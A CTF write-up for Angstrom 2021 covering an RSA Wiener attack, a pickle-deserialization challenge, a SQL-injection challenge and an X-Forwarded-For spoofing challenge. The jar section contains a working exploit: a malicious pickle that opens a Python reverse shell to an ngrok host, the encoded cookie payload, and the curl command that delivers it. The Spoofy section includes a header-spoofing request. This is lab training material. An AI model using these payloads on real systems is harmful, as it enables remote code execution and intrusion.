Angstrom 2021 Writeups
Hello there,Angstrom 2021 just concluded,with that here are some of writeups that i happened to have a hand in solving and found them interesting.
Sosig

we are given the following numbers to retreive the flag from,having no source file we kick into research on RSA encryption, this challenge has a weird length of the exponent (e),
on researching we found out it might be vulnerable to a Weiner Attack
1n: 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
2e: 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799
3c: 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227
We first verify that the Wiener attack can be applied:

having confirmed we can use an available Wiener Attack RSA template here
editing the script with our values and running it gives us the flag
Alternatively one could use RSACtfTool
Flag: actf{d0ggy!!!111!1}
Web
jar

1from flask import Flask, send_file, request, make_response, redirect
2import random
3import os
4
5app = Flask(__name__)
6
7import pickle
8import base64
9
10flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')
11
12@app.route('/pickle.jpg')
13def bg():
14 return send_file('pickle.jpg')
15
16@app.route('/')
17def jar():
18 contents = request.cookies.get('contents')
19 if contents: items = pickle.loads(base64.b64decode(contents))
20 else: items = []
21 return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
22 ''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)
23
24@app.route('/add', methods=['POST'])
25def add():
26 contents = request.cookies.get('contents')
27 if contents: items = pickle.loads(base64.b64decode(contents))
28 else: items = []
29 items.append(request.form['item'])
30 response = make_response(redirect('/'))
31 response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
32 return response
33
34app.run(threaded=True, host="0.0.0.0")
Notes :
from the description we will be dealing with pickle diserialization, but easier XD
from the docker file
ENV FLAG="actf{REDACTED}"and the source
1flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')
- if successful the flag location will be in
/proc/self/environ
Solution
- with the info gathered i created an exploit that generates a cookie that when insecurely deserialized will help is gain Remote Code Execution (RCE) on the challenge server
1import pickle
2import base64
3import os
4
5
6class RCE:
7 def __reduce__(self):
8 return (os.system, ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"4.tcp.ngrok.io\",10523));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'", ))
9
10if __name__ == '__main__':
11 pickled = pickle.dumps(RCE())
12 print(base64.urlsafe_b64encode(pickled))
we used a python reverse shell since the challenge was running on flask hence python must be installed
4.tcp.ngrok.iowas our static,other alternive static ips can applyset up a local listener back on our machine using
nc -lvnp port

using the new malicious cookie we can set it as the cookie using curl
1curl -k https://jar.2021.chall.actf.co/ --cookie "contents=gANjcG9zaXgKc3lzdGVtCnEAWOkAAABweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCI0LnRjcC5uZ3Jvay5pbyIsMTA1MjMpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7J3EBhXECUnEDLg==
after running the command we instantly get a reverse shell connection as nobody
cd /
grep -rni actf{.*} 2>/dev/null
gave us the flag

Flag: actf{you_got_yourself_out_of_a_pickle}
Sea of Quills

1require 'sinatra'
2require 'sqlite3'
3
4set :bind, "0.0.0.0"
5set :port, 4567
6
7get '/' do
8 db = SQLite3::Database.new "quills.db"
9 @row = db.execute( "select * from quills" )
10
11
12 erb :index
13end
14
15get '/quills' do
16 erb :quills
17
18end
19
20
21post '/quills' do
22 db = SQLite3::Database.new "quills.db"
23 cols = params[:cols]
24 lim = params[:limit]
25 off = params[:offset]
26
27 blacklist = ["-", "/", ";", "'", "\""]
28
29 blacklist.each { |word|
30 if cols.include? word
31 return "beep boop sqli detected!"
32 end
33 }
34
35
36 if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
37 return "bad, no quills for you!"
38 end
39
40 @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
41
42 p @row
43
44 erb :specific
45end
i personally didn’t solve this my teammate j0kr did
Solution
initial recon
dumping tables
retrieving the flag
Spoofy

1from flask import Flask, Response, request
2import os
3from typing import List
4
5FLAG: str = os.environ.get("FLAG") or "flag{fake_flag}"
6with open(__file__, "r") as f:
7 SOURCE: str = f.read()
8
9app: Flask = Flask(__name__)
10
11
12def text_response(body: str, status: int = 200, **kwargs) -> Response:
13 return Response(body, mimetype="text/plain", status=status, **kwargs)
14
15
16@app.route("/source")
17def send_source() -> Response:
18 return text_response(SOURCE)
19
20
21@app.route("/")
22def main_page() -> Response:
23 if "X-Forwarded-For" in request.headers:
24 # https://stackoverflow.com/q/18264304/
25 # Some people say first ip in list, some people say last
26 # I don't know who to believe
27 # So just believe both
28 ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
29 if not ips:
30 return text_response("How is it even possible to have 0 IPs???", 400)
31 if ips[0] != ips[-1]:
32 return text_response(
33 "First and last IPs disagree so I'm just going to not serve this request.",
34 400,
35 )
36 ip: str = ips[0]
37 if ip != "1.3.3.7":
38 return text_response("I don't trust you >:(", 401)
39 return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
40 else:
41 return text_response("Please run the server through a proxy.", 400)
Notes :
- this was the important part of the source
1@app.route("/")
2def main_page() -> Response:
3 if "X-Forwarded-For" in request.headers:
4 # https://stackoverflow.com/q/18264304/
5 # Some people say first ip in list, some people say last
6 # I don't know who to believe
7 # So just believe both
8 ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
9 if not ips:
10 return text_response("How is it even possible to have 0 IPs???", 400)
11 if ips[0] != ips[-1]:
12 return text_response(
13 "First and last IPs disagree so I'm just going to not serve this request.",
14 400,
15 )
16 ip: str = ips[0]
17 if ip != "1.3.3.7":
18 return text_response("I don't trust you >:(", 401)
19 return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
20 else:
21 return text_response("Please run the server through a proxy.", 400)
- inorder to get the flag we are to pass through all the requirements
let’s analyse the code to understand it better
1if "X-Forwarded-For" in request.headers:
2 # https://stackoverflow.com/q/18264304/
3 # Some people say first ip in list, some people say last
4 # I don't know who to believe
5 # So just believe both
6 ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
- from top our server will check for
1
2"X-Forwarded-For" in request.headers
if not we trigger a 401
1return text_response("I don't trust you >:(", 401)
- once we pass that we are met with another check
1 ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
2 if not ips:
3 return text_response("How is it even possible to have 0 IPs???", 400)
our request header X-Forwarded-For must have ips sent along with it otherwise we trigger a 400 error in the response
- if succesful we meet another check
1if ips[0] != ips[-1]:
2 return text_response(
3 "First and last IPs disagree so I'm just going to not serve this request.",
4 400,
- in our list of ips the server will read the first ip and also the last,if the two don’t match we trigger another 400 with error message as
First and last IPs disagree so I'm just going to not serve this request.
we will get back to it in a minute
to the last part
1ip: str = ips[0]
2 if ip != "1.3.3.7":
3 return text_response("I don't trust you >:(", 401)
4 return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
- if we pass the previous check,the server will check the first ip if its equal to 1.3.3.7 if not we trigger
1return text_response("I don't trust you >:(", 401)
for a non match ip
else if the ip matches we get our flag
… back to the second last check now , it sounds easy right? well Yes,and No,
refer to this stackoverflow question
....If you try to spoof the IP, your alleged origin is reflected, but - critically - so is your real IP. Obviously, this is all we need, so there's a clear and secure solution for getting the client's IP address on Heroku:
$ curl -H"X-Forwarded-For: 8.8.8.8" http://httpbin.org/ip { "origin": "8.8.8.8, 123.124.125.126" }
so apparently once we try to spoof our ip to 1.3.3.7 to meet the requirement,Heroku will append our original ip address to the request, so we fail the ip match,
after much research we (me and j0kr) came across an article detailing a solution to bypassing the heroku security measure…
it involved sending the X-Forwarded-For headers twice,
as heroku will only append our original ip to the first header, and the server will append our set ip at the end of our original ip as appended by heroku hence passing all the checks to a succesdful ip spoof,getting us the glag
so sending our request as
1┌─[@parrot]─[~]
2└──╼ $curl -H "X-Forwarded-For: 1.3.3.7" -H "X-Forwarded-For: 2.2.2.2, 1.3.3.7" actf-spoofy.herokuapp.com
3Hello 1337 haxx0r, here's the flag! actf{spoofing_is_quite_spiffy}
gets us the flag
Flag : actf{spoofing_is_quite_spiffy}
PS: More Reading